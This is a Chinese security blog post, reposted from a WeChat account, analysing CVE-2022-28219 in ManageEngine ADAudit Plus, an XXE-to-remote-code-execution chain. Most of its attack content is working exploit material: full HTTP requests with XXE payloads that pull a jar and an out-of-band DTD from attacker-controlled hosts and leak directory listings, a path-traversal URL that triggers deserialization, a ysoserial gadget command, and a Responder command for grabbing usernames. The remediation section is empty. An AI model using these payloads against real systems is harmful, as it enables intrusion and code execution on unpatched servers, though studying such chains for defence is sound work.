免责声明
本公众号仅用于技术交流与学习,利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号只是知识的搬运工,取之于民用之于民。
环境搭建
https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe
分析
Cewolf readObject
../
跨目录触发。在下面的xxe中会串起来利用。xxe
Task Content
或者Task New Content
键值会造成xxe。然后找路由触发点。先来看web.xml:/api/agent
对应com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet#processRequest
com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequest
com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveData
com.adventnet.sym.adsm.auditing.server.EventDataAdapter#notify
消息队列处理。com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run
中:com.adventnet.sym.adsm.auditing.server.ProcessMonitor#process
处理。com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#getEventRow
串联
https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf
https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json
[
{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM "jar:http://172.16.16.1:2122/upload.jar!/file.txt"> ]><foo>&ssrf;</foo>"
}
]
C:/Users/Administrator/AppData/Local/Temp/
目录下接着用这个项目来列目录,监听之后发请求包:POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json
[
{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///C:/Users/Administrator/AppData/Local/Temp/"> <!ENTITY % dtd SYSTEM "http://192.168.1.207:9090/data.dtd"> %dtd;]><data>&send;</data>"
}
]
http://172.16.16.132:8081/cewolf/a.png?img=/../../../../../../../../../Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp
gadget可以用cb192:
java -jar .ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"
一些问题
-
如何获取DomainName
-
c:/Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp 中administrator怎么判断?
C:Users
所有用户,然后列举用户的temp目录,或者直接Responder抓到当前用户名:sudo python3 Responder.py -I ens160
修复
原文始发于微信公众号(Hack All):CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论